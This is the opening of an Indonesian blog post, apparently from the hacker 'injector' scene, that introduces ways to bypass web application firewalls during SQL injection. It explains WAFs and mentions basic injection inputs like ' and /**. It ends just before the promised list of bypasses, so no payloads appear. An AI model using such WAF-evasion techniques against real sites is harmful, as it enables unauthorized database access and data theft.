Macam-Macam Bypass WAF - SQL Injection

Pada postingan kali ini w mau sharing artikel tentang Maca-macam Bypass WAF pada suatu Sql Injection.

Dalam dunia injector kita tidak asing lagi dengan istilah WAF. Apaan sih WAF itu?
WAF adalah kepanjangan dari (Web Application Firewall) dimana waf itu dipasang sebagai firewall security web untuk keamanan umum.

Jadi rata-rata web yang udah di pasang waf itu kebal sama SQL Injection yang basic atau sql injection dengan statement error ( ' ) atau ( /** )

Untuk itu gw akan sedikit berbagi tentang jenis-jenis waf yang biasa di gunakan dalam dunia injector.

Dan berikut ini macam-macam bypass waf,
